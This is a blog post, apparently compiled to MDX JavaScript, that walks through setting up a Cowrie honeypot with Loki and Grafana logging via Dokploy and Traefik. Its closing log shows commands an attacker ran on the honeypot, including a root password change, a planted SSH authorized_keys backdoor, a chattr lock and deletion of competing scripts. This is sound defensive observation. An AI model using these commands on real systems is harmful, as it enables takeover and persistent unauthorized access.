const{Fragment:e,jsx:n,jsxs:r}=arguments[0];function _createMdxContent(l){const a={a:"a",code:"code",figure:"figure",h1:"h1",h2:"h2",img:"img",li:"li",p:"p",pre:"pre",span:"span",strong:"strong",ul:"ul",...l.components},{Warn:o}=a;return o||function(e,n){throw new Error("Expected "+(n?"component":"object")+" `"+e+"` to be defined: you likely forgot to import, pass, or provide it.")}("Warn",!0),r(e,{children:[n(a.h1,{children:"Preface"}),"\n",n(a.p,{children:"I've always wanted to build a honeypot and let attackers do their thing so I can understand what they actually do. I wanted to set one up where it's easily configurable to the point where it's harder to fingerprint and tell that it's actually a honeypot."}),"\n",n(a.p,{children:"I've spent a few good hours just setting this honeypot up. Another few hours on just setting up Grafana alone as well."}),"\n",n(a.h1,{children:"Pre-requisites"}),"\n",r(a.p,{children:["In this setup, I had two cloud servers. The honeypot itself is hosted on a Google's ",n(a.a,{href:"https://cloud.google.com/free/docs/free-cloud-features#compute",children:"always free"})," cloud server. My Grafana dashboard and log aggregation (Loki) is setup on another cloud server via Dokploy."]}),"\n",n(a.p,{children:"Dokploy is recommended because it's what I'm using but a platform like Coolify may also work because of integration of Traefik."}),"\n",n(a.p,{children:"You will also need a domain. I believe Dokploy's traefik-generated domains work but I am not sure. I haven't tested this."}),"\n",n(a.h1,{children:"Grafana/Loki"}),"\n",n(a.p,{children:"Grafana is what we'll be using as our dashboard to visualize logs sent from our honeypot. I chose Grafana because it has a very nice frontend! It's also very easy to setup with Docker since I'm deploying this on Dokploy."}),"\n",n(a.p,{children:n(a.img,{src:"/blog/setting-up-cowrie-honeypot-w-grafana-monitoring/grafana-dash.png",alt:"Grafana Dashboard"})}),"\n",n(a.p,{children:"Loki is what I'm using to aggregate logs. It's connected to Grafana and logs are sent to Loki via Grafana Alloy (more about this later). Originally I was planning to send logs to Loki via promtail but it was being deprecated."}),"\n",n(a.p,{children:n(a.img,{src:"/blog/setting-up-cowrie-honeypot-w-grafana-monitoring/promtail-deprecate.png",alt:"Promtail Deprecation"})}),"\n",n(a.h2,{children:"Setup #1"}),"\n",n(a.p,{children:'First, create a project in Dokploy. Name it anything. Then, go into the project and create a service and select "Compose"'}),"\n",n(a.p,{children:n(a.img,{src:"/blog/setting-up-cowrie-honeypot-w-grafana-monitoring/d-project.png",alt:"Dokploy Project"})}),"\n",n(a.p,{children:"Name it anything. Then, make sure you've selected raw."}),"\n",n(a.p,{children:n(a.img,{src:"/blog/setting-up-cowrie-honeypot-w-grafana-monitoring/raw.png",alt:"Dokploy Project"})}),"\n",n(a.p,{children:"Paste this inside the text box:"}),"\n",n(a.figure,{"data-rehype-pretty-code-figure":"",children:n(a.pre,{tabIndex:"0","data-language":"yml","data-theme":"one-dark-pro",children:r(a.code,{"data-language":"yml","data-theme":"one-dark-pro",style:{display:"grid"},children:[r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#E06C75"},children:"services"}),n(a.span,{style:{color:"#ABB2BF"},children:":"})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#E06C75"},children:" loki"}),n(a.span,{style:{color:"#ABB2BF"},children:":"})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#E06C75"},children:" image"}),n(a.span,{style:{color:"#ABB2BF"},children:": "}),n(a.span,{style:{color:"#98C379"},children:"grafana/loki:latest"})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#E06C75"},children:" container_name"}),n(a.span,{style:{color:"#ABB2BF"},children:": "}),n(a.span,{style:{color:"#98C379"},children:"loki"})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#E06C75"},children:" restart"}),n(a.span,{style:{color:"#ABB2BF"},children:": "}),n(a.span,{style:{color:"#98C379"},children:"unless-stopped"})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#E06C75"},children:" volumes"}),n(a.span,{style:{color:"#ABB2BF"},children:":"})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#ABB2BF"},children:" - "}),n(a.span,{style:{color:"#98C379"},children:"'loki_data:/loki'"})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#ABB2BF"},children:" - "}),n(a.span,{style:{color:"#98C379"},children:"'../files/loki-config.yml:/etc/loki/local-config.yaml'"})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#E06C75"},children:" labels"}),n(a.span,{style:{color:"#ABB2BF"},children:":"})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#ABB2BF"},children:" - "}),n(a.span,{style:{color:"#98C379"},children:'"traefik.enable=true"'})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#ABB2BF"},children:" - "}),n(a.span,{style:{color:"#98C379"},children:'"traefik.http.routers.dokploy-router-loki.rule=Host(``)"'})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#ABB2BF"},children:" - "}),n(a.span,{style:{color:"#98C379"},children:'"traefik.http.routers.dokploy-router-loki.service=dokploy-service-loki"'})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#ABB2BF"},children:" - "}),n(a.span,{style:{color:"#98C379"},children:'"traefik.http.routers.dokploy-router-loki.entrypoints=web"'})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#ABB2BF"},children:" - "}),n(a.span,{style:{color:"#98C379"},children:'"traefik.http.routers.dokploy-router-loki.middlewares=loki-auth"'})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#ABB2BF"},children:" - "}),n(a.span,{style:{color:"#98C379"},children:'"traefik.http.routers.dokploy-router-loki-secure.rule=Host(``)"'})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#ABB2BF"},children:" - "}),n(a.span,{style:{color:"#98C379"},children:'"traefik.http.routers.dokploy-router-loki-secure.service=dokploy-service-loki"'})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#ABB2BF"},children:" - "}),n(a.span,{style:{color:"#98C379"},children:'"traefik.http.routers.dokploy-router-loki-secure.entrypoints=websecure"'})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#ABB2BF"},children:" - "}),n(a.span,{style:{color:"#98C379"},children:'"traefik.http.routers.dokploy-router-loki-secure.tls.certresolver=letsencrypt"'})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#ABB2BF"},children:" - "}),n(a.span,{style:{color:"#98C379"},children:'"traefik.http.routers.dokploy-router-loki-secure.middlewares=loki-auth"'})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#ABB2BF"},children:" - "}),n(a.span,{style:{color:"#98C379"},children:'"traefik.http.services.dokploy-service-loki.loadbalancer.server.port=3100"'})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#ABB2BF"},children:" - "}),n(a.span,{style:{color:"#98C379"},children:'"traefik.http.services.dokploy-service-loki.loadbalancer.passhostheader=true"'})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#ABB2BF"},children:" - "}),n(a.span,{style:{color:"#98C379"},children:'"traefik.http.middlewares.loki-auth.basicauth.users=:"'})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#E06C75"},children:" networks"}),n(a.span,{style:{color:"#ABB2BF"},children:":"})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#ABB2BF"},children:" - "}),n(a.span,{style:{color:"#98C379"},children:"dokploy-network"})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#E06C75"},children:" grafana"}),n(a.span,{style:{color:"#ABB2BF"},children:":"})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#E06C75"},children:" image"}),n(a.span,{style:{color:"#ABB2BF"},children:": "}),n(a.span,{style:{color:"#98C379"},children:"grafana/grafana-enterprise"})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#E06C75"},children:" container_name"}),n(a.span,{style:{color:"#ABB2BF"},children:": "}),n(a.span,{style:{color:"#98C379"},children:"grafana"})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#E06C75"},children:" restart"}),n(a.span,{style:{color:"#ABB2BF"},children:": "}),n(a.span,{style:{color:"#98C379"},children:"unless-stopped"})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#E06C75"},children:" environment"}),n(a.span,{style:{color:"#ABB2BF"},children:":"})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#ABB2BF"},children:" - "}),n(a.span,{style:{color:"#98C379"},children:"GF_SERVER_ROOT_URL="})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#E06C75"},children:" labels"}),n(a.span,{style:{color:"#ABB2BF"},children:":"})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#ABB2BF"},children:" - "}),n(a.span,{style:{color:"#98C379"},children:'"traefik.enable=true"'})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#ABB2BF"},children:" - "}),n(a.span,{style:{color:"#98C379"},children:'"traefik.http.routers.dokploy-router-grafana.rule=Host(``)"'}),n(a.span,{style:{color:"#ABB2BF"},children:" "})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#ABB2BF"},children:" - "}),n(a.span,{style:{color:"#98C379"},children:'"traefik.http.routers.dokploy-router-grafana.service=dokploy-service-grafana"'})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#ABB2BF"},children:" - "}),n(a.span,{style:{color:"#98C379"},children:'"traefik.http.routers.dokploy-router-grafana.entrypoints=web"'})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#ABB2BF"},children:" - "}),n(a.span,{style:{color:"#98C379"},children:'"traefik.http.routers.dokploy-router-grafana-secure.rule=Host(``)"'}),n(a.span,{style:{color:"#ABB2BF"},children:" "})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#ABB2BF"},children:" - "}),n(a.span,{style:{color:"#98C379"},children:'"traefik.http.routers.dokploy-router-grafana-secure.service=dokploy-service-grafana"'})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#ABB2BF"},children:" - "}),n(a.span,{style:{color:"#98C379"},children:'"traefik.http.routers.dokploy-router-grafana-secure.entrypoints=websecure"'})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#ABB2BF"},children:" - "}),n(a.span,{style:{color:"#98C379"},children:'"traefik.http.routers.dokploy-router-grafana-secure.tls.certresolver=letsencrypt"'})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#ABB2BF"},children:" - "}),n(a.span,{style:{color:"#98C379"},children:'"traefik.http.services.dokploy-service-grafana.loadbalancer.server.port=3000"'}),n(a.span,{style:{color:"#ABB2BF"},children:" "})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#ABB2BF"},children:" - "}),n(a.span,{style:{color:"#98C379"},children:'"traefik.http.services.dokploy-service-grafana.loadbalancer.passhostheader=true"'})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#E06C75"},children:" volumes"}),n(a.span,{style:{color:"#ABB2BF"},children:":"})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#ABB2BF"},children:" - "}),n(a.span,{style:{color:"#98C379"},children:"'grafana_storage:/var/lib/grafana'"})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#E06C75"},children:" networks"}),n(a.span,{style:{color:"#ABB2BF"},children:":"})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#ABB2BF"},children:" - "}),n(a.span,{style:{color:"#98C379"},children:"dokploy-network"})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#E06C75"},children:"networks"}),n(a.span,{style:{color:"#ABB2BF"},children:":"})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#E06C75"},children:" dokploy-network"}),n(a.span,{style:{color:"#ABB2BF"},children:":"})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#E06C75"},children:" external"}),n(a.span,{style:{color:"#ABB2BF"},children:": "}),n(a.span,{style:{color:"#D19A66"},children:"true"})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#E06C75"},children:"volumes"}),n(a.span,{style:{color:"#ABB2BF"},children:":"})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#E06C75"},children:" grafana_storage"}),n(a.span,{style:{color:"#ABB2BF"},children:": {}"})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#E06C75"},children:" loki_data"}),n(a.span,{style:{color:"#ABB2BF"},children:": {}"})]})]})})}),"\n",r(a.p,{children:['Replace "YOUR DOMAIN_1" with the domain you\'re planning to use for Loki. This is the domain where logs will be sent to from the honeypot. For example, for me it might be ',n(a.code,{children:"loki.heybob.by"})," or ",n(a.code,{children:"logs-aggregator.heybob.by"}),"."]}),"\n",r(a.p,{children:["On the line for ",n(a.code,{children:'- "traefik.http.middlewares.loki-auth.basicauth.users=:"'})," you will be required to create a user and password. Refer to ",n(a.a,{href:"https://doc.traefik.io/traefik/reference/routing-configuration/http/middlewares/basicauth/",children:"Traefik's Basic Auth documentation"})," on how to create a hashed password. This will enforce HTTP auth on whatever domain you're planning to use for Loki so it prevents everyone from just sending data without authentication. ",n(a.strong,{children:"Don't forget to save the original password used to hash!"})]}),"\n",n(a.p,{children:'For "YOUR DOMAIN_2" this will be your domain where you\'ll access your Grafana dashboard.'}),"\n",n(a.p,{children:"Once you've setup your domain, you must setup Traefik:"}),"\n",n(a.p,{children:n(a.img,{src:"/blog/setting-up-cowrie-honeypot-w-grafana-monitoring/domain-example.png",alt:"Dokploy Project"})}),"\n",n(a.p,{children:"FYI, all of my domains configured for 1 & 2 are proxied through Cloudflare. You can do this too. I don't want my server IP getting exposed."}),"\n",n(a.p,{children:'Under "Advanced", you will be required to create a persistent file for Loki\'s configuration file:'}),"\n",n(a.p,{children:n(a.img,{src:"/blog/setting-up-cowrie-honeypot-w-grafana-monitoring/loki-config.png",alt:"Dokploy Project"})}),"\n",n(a.figure,{"data-rehype-pretty-code-figure":"",children:n(a.pre,{tabIndex:"0","data-language":"yml","data-theme":"one-dark-pro",children:r(a.code,{"data-language":"yml","data-theme":"one-dark-pro",style:{display:"grid"},children:[n(a.span,{"data-line":"",children:" "}),"\n",n(a.span,{"data-line":"",children:n(a.span,{style:{color:"#7F848E",fontStyle:"italic"},children:"# This is a complete configuration to deploy Loki backed by the filesystem."})}),"\n",n(a.span,{"data-line":"",children:n(a.span,{style:{color:"#7F848E",fontStyle:"italic"},children:"# The index will be shipped to the storage via tsdb-shipper."})}),"\n",n(a.span,{"data-line":"",children:" "}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#E06C75"},children:"auth_enabled"}),n(a.span,{style:{color:"#ABB2BF"},children:": "}),n(a.span,{style:{color:"#D19A66"},children:"false"})]}),"\n",n(a.span,{"data-line":"",children:" "}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#E06C75"},children:"server"}),n(a.span,{style:{color:"#ABB2BF"},children:":"})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#E06C75"},children:" http_listen_port"}),n(a.span,{style:{color:"#ABB2BF"},children:": "}),n(a.span,{style:{color:"#D19A66"},children:"3100"})]}),"\n",n(a.span,{"data-line":"",children:" "}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#E06C75"},children:"common"}),n(a.span,{style:{color:"#ABB2BF"},children:":"})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#E06C75"},children:" ring"}),n(a.span,{style:{color:"#ABB2BF"},children:":"})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#E06C75"},children:" instance_addr"}),n(a.span,{style:{color:"#ABB2BF"},children:": "}),n(a.span,{style:{color:"#D19A66"},children:"127.0.0.1"})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#E06C75"},children:" kvstore"}),n(a.span,{style:{color:"#ABB2BF"},children:":"})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#E06C75"},children:" store"}),n(a.span,{style:{color:"#ABB2BF"},children:": "}),n(a.span,{style:{color:"#98C379"},children:"inmemory"})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#E06C75"},children:" replication_factor"}),n(a.span,{style:{color:"#ABB2BF"},children:": "}),n(a.span,{style:{color:"#D19A66"},children:"1"})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#E06C75"},children:" path_prefix"}),n(a.span,{style:{color:"#ABB2BF"},children:": "}),n(a.span,{style:{color:"#98C379"},children:"/loki"})]}),"\n",n(a.span,{"data-line":"",children:" "}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#E06C75"},children:"limits_config"}),n(a.span,{style:{color:"#ABB2BF"},children:":"})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#E06C75"},children:" retention_period"}),n(a.span,{style:{color:"#ABB2BF"},children:": "}),n(a.span,{style:{color:"#98C379"},children:"360h"})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#E06C75"},children:" max_label_names_per_series"}),n(a.span,{style:{color:"#ABB2BF"},children:": "}),n(a.span,{style:{color:"#D19A66"},children:"30"})]}),"\n",n(a.span,{"data-line":"",children:" "}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#E06C75"},children:"schema_config"}),n(a.span,{style:{color:"#ABB2BF"},children:":"})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#E06C75"},children:" configs"}),n(a.span,{style:{color:"#ABB2BF"},children:":"})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#ABB2BF"},children:" - "}),n(a.span,{style:{color:"#E06C75"},children:"from"}),n(a.span,{style:{color:"#ABB2BF"},children:": "}),n(a.span,{style:{color:"#D19A66"},children:"2020-05-15"})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#E06C75"},children:" store"}),n(a.span,{style:{color:"#ABB2BF"},children:": "}),n(a.span,{style:{color:"#98C379"},children:"tsdb"})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#E06C75"},children:" object_store"}),n(a.span,{style:{color:"#ABB2BF"},children:": "}),n(a.span,{style:{color:"#98C379"},children:"filesystem"})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#E06C75"},children:" schema"}),n(a.span,{style:{color:"#ABB2BF"},children:": "}),n(a.span,{style:{color:"#98C379"},children:"v13"})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#E06C75"},children:" index"}),n(a.span,{style:{color:"#ABB2BF"},children:":"})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#E06C75"},children:" prefix"}),n(a.span,{style:{color:"#ABB2BF"},children:": "}),n(a.span,{style:{color:"#98C379"},children:"index_"})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#E06C75"},children:" period"}),n(a.span,{style:{color:"#ABB2BF"},children:": "}),n(a.span,{style:{color:"#98C379"},children:"24h"})]}),"\n",n(a.span,{"data-line":"",children:" "}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#E06C75"},children:"storage_config"}),n(a.span,{style:{color:"#ABB2BF"},children:":"})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#E06C75"},children:" filesystem"}),n(a.span,{style:{color:"#ABB2BF"},children:":"})]}),"\n",r(a.span,{"data-line":"",children:[n(a.span,{style:{color:"#E06C75"},children:" directory"}),n(a.span,{style:{color:"#ABB2BF"},children:": "}),n(a.span,{style:{color:"#98C379"},children:"/tmp/loki/chunks"})]})]})})}),"\n",n(a.p,{children:"Once that's done, deploy and you should be good to go. Access your Grafana dashboard at your domain and make sure you've changed passwords and everything. Once that's done, you will need to setup Grafana to communicate to Loki. This is straightforward."}),"\n",n(a.p,{children:'Go to "Connections" -> "Add new data source" on top right -> filter by "Loki"'}),"\n",n(a.p,{children:'For connection, ensure that it\'s set to "URL" and the URL should be your Loki domain. For authentication, select "Basic Authentication" and enter the username and password you created earlier for Loki\'s HTTP auth. Then, save & test and that\'s it! It should be successful.'}),"\n",n(a.h1,{children:"Cowrie/Grafana Alloy"}),"\n",n(a.p,{children:"Cowrie is our honeypot whereas Grafana Alloy is responsible for forwarding these logs to Loki."}),"\n",n(a.p,{children:"In this setup, I've changed configurations pertaining to Cowrie. They are ultimately up to you, but do note that Telnet is enabled alongside several other changes (AuthRandom is set, honeyfs, etc)."}),"\n",n(a.p,{children:n(a.img,{src:"/blog/setting-up-cowrie-honeypot-w-grafana-monitoring/docker.png",alt:"Dokploy Project"})}),"\n",n(a.h2,{children:"Setup #2"}),"\n",n(o,{children:n(a.p,{children:"You are expected to understand what a honeypot is. Be weary of hosting one in the first place!"})}),"\n",n(a.p,{children:"Before installing anything, I changed my normal SSH port (22) to another port. This is to allow Cowrie to use port 22 as attackers would usually scan for 22."}),"\n",r(a.p,{children:["This can be done by executing ",n(a.code,{children:"sudo nano /etc/ssh/sshd_config"})," then commenting out ",n(a.code,{children:"#Port 22"})," and changing 22 to another number."]}),"\n",n(a.p,{children:n(a.img,{src:"/blog/setting-up-cowrie-honeypot-w-grafana-monitoring/ssh.png",alt:"SSH"})}),"\n",r(a.p,{children:["Once you've done that, just run ",n(a.code,{children:"systemctl daemon-reload"}),", ",n(a.code,{children:"systemctl restart ssh.socket"}),", and then restart the server to test out the new SSH port."]}),"\n",n(a.p,{children:"To continue, you will need to make sure you have:"}),"\n",r(a.ul,{children:["\n",n(a.li,{children:"git installed"}),"\n",n(a.li,{children:"docker installed"}),"\n",n(a.li,{children:"python installed"}),"\n"]}),"\n",r(a.p,{children:["In my ",n(a.a,{href:"https://github.com/iamnotbobby/honeypot-config",children:"Github repository"}),", I've uploaded my own honeypot configuration that is meant to work with Grafana Alloy via docker compose."]}),"\n",r(a.p,{children:[n(a.code,{children:"git clone https://github.com/iamnotbobby/honeypot-config"})," -> ",n(a.code,{children:"cd honeypot-configuration"})," -> ",n(a.code,{children:"cd target"})]}),"\n",n(a.p,{children:"From here, you will need to configure Grafana Alloy (alloy-config.alloy):"}),"\n",n(a.figure,{"data-rehype-pretty-code-figure":"",children:n(a.pre,{tabIndex:"0","data-language":"txt","data-theme":"one-dark-pro",children:r(a.code,{"data-language":"txt","data-theme":"one-dark-pro",style:{display:"grid"},children:[n(a.span,{"data-line":"",children:n(a.span,{children:'loki.write "default" {'})}),"\n",n(a.span,{"data-line":"",children:n(a.span,{children:" endpoint {"})}),"\n",n(a.span,{"data-line":"",children:n(a.span,{children:' url = ""'})}),"\n",n(a.span,{"data-line":"",children:" "}),"\n",n(a.span,{"data-line":"",children:n(a.span,{children:" basic_auth {"})}),"\n",n(a.span,{"data-line":"",children:n(a.span,{children:' username = ""'})}),"\n",n(a.span,{"data-line":"",children:n(a.span,{children:' password = ""'})}),"\n",n(a.span,{"data-line":"",children:n(a.span,{children:" }"})}),"\n",n(a.span,{"data-line":"",children:n(a.span,{children:" }"})}),"\n",n(a.span,{"data-line":"",children:n(a.span,{children:" external_labels = {}"})}),"\n",n(a.span,{"data-line":"",children:n(a.span,{children:"}"})})]})})}),"\n",n(a.p,{children:"The password should be the plaintext password you created earlier. Once you've configured Grafana Alloy, you're set."}),"\n",n(a.p,{children:"Note: I've also setup GeoIP so you should see IP addresses and their information within the logs."}),"\n",r(a.p,{children:["Run ",n(a.code,{children:"docker compose up -d"})," and this will initiate Cowrie and Grafana Alloy at the same time."]}),"\n",n(a.p,{children:'Return to your Grafana dashboard, navigate to "Logs", and you should see logs coming in.'}),"\n",n(a.p,{children:n(a.img,{src:"/blog/setting-up-cowrie-honeypot-w-grafana-monitoring/logs.png",alt:"Logs"})}),"\n",n(a.p,{children:"Note: I didn't include a tutorial on how to setup Grafana visualizations since I'm still a newbie stuff like this. You will have to create your own visualizations. I resorted to Claude/GPT for creating queries for my visualizations."}),"\n",n(a.h2,{children:"Configuring Cowrie"}),"\n",r(a.p,{children:["The process of configuring Cowrie in my setup is a bit convoluted since I'm running everything through Docker. You will have to refer to Cowrie's ",n(a.a,{href:"https://docs.cowrie.org/en/latest/index.html",children:"documentation"})," for configuring Cowrie itself."]}),"\n",r(a.p,{children:["However, applying some of these configurations are a bit different. For example, if you wanted to create a pickle file you would need to run a Python script from the repository to do so. I'm under the assumption that this is intended for running Cowrie from source rather than in Docker. So in my repository, ",n(a.a,{href:"https://github.com/iamnotbobby/honeypot-config/tree/main/target",children:"I've linked the actual Cowrie repository"})," to mine so when you ",n(a.code,{children:"git clone"})," you should also be cloning Cowrie automatically."]}),"\n",r(a.p,{children:["What this means is that when you want to create a pickle file, you can just run ",n(a.code,{children:"python cowrie-development/src/cowrie/scripts/createfs.py -l honeyfs -o honeyfs/fs.pickle"})," assuming you're in the ",n(a.code,{children:"/target"})," directory."]}),"\n",r(a.p,{children:["For modifying ",n(a.code,{children:"honeyfs"})," I've created a seperate directory under ",n(a.code,{children:"/target"})," that is mounted to Docker."]}),"\n",n(a.h1,{children:"Conclusion"}),"\n",n(a.p,{children:"That concludes the setup. Since I've deployed this, I've gotten a lot of hits from various IP addresses. One of my visualizations included showing commands being used:"}),"\n",n(a.figure,{"data-rehype-pretty-code-figure":"",children:n(a.pre,{tabIndex:"0","data-language":"txt","data-theme":"one-dark-pro",children:r(a.code,{"data-language":"txt","data-theme":"one-dark-pro",style:{display:"grid"},children:[n(a.span,{"data-line":"",children:n(a.span,{children:"86.102.131.54 | 💻 df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"})}),"\n",n(a.span,{"data-line":"",children:n(a.span,{children:"86.102.131.54 | 💻 lscpu | grep Model"})}),"\n",n(a.span,{"data-line":"",children:n(a.span,{children:"86.102.131.54 | 💻 whoami"})}),"\n",n(a.span,{"data-line":"",children:n(a.span,{children:"86.102.131.54 | 💻 uname -a"})}),"\n",n(a.span,{"data-line":"",children:n(a.span,{children:"86.102.131.54 | 💻 uname"})}),"\n",n(a.span,{"data-line":"",children:n(a.span,{children:"86.102.131.54 | 💻 top"})}),"\n",n(a.span,{"data-line":"",children:n(a.span,{children:"86.102.131.54 | 💻 cat /proc/cpuinfo | grep model | grep name | wc -l"})}),"\n",n(a.span,{"data-line":"",children:n(a.span,{children:"86.102.131.54 | 💻 uname -m"})}),"\n",n(a.span,{"data-line":"",children:n(a.span,{children:"86.102.131.54 | 💻 w"})}),"\n",n(a.span,{"data-line":"",children:n(a.span,{children:"86.102.131.54 | 💻 crontab -l"})}),"\n",n(a.span,{"data-line":"",children:n(a.span,{children:"86.102.131.54 | 💻 which ls"})}),"\n",n(a.span,{"data-line":"",children:n(a.span,{children:"86.102.131.54 | 💻 ls -lh $(which ls)\t"})}),"\n",n(a.span,{"data-line":"",children:n(a.span,{children:"86.102.131.54 | 💻 free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"})}),"\n",n(a.span,{"data-line":"",children:n(a.span,{children:"86.102.131.54 | 💻 cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"})}),"\n",n(a.span,{"data-line":"",children:n(a.span,{children:"86.102.131.54 | 💻 rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"})}),"\n",n(a.span,{"data-line":"",children:n(a.span,{children:'86.102.131.54 | 💻 echo "root:zqctTY4BTeM6"|chpasswd|bash'})}),"\n",n(a.span,{"data-line":"",children:n(a.span,{children:"86.102.131.54 | 💻 cat /proc/cpuinfo | grep name | wc -l"})}),"\n",n(a.span,{"data-line":"",children:n(a.span,{children:'86.102.131.54 | 💻 cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~'})}),"\n",n(a.span,{"data-line":"",children:n(a.span,{children:"86.102.131.54 | 💻 cd ~; chattr -ia .ssh; lockr -ia .ssh"})}),"\n",n(a.span,{"data-line":"",children:n(a.span,{children:"86.102.131.54 | 🚨 SUCCESSFUL LOGIN: root:XtjcGsh@2024!"})})]})})}),"\n",n(a.p,{children:"Setting up a honeypot like this took me hours, but in the end it was absolutely worth the effort. The ability to set up a dashboard like Grafana and visualize attack trends in real-time is cooooool. What makes this even more cool is having a functional honeypot collecting threat data in the first place."}),"\n",n(a.p,{children:"Maybe after this, I might focus on other attack vectors like websites. Thank you for reading though! If you have any questions, feel free to comment."})]})}return{default:function(e={}){const{wrapper:r}=e.components||{};return 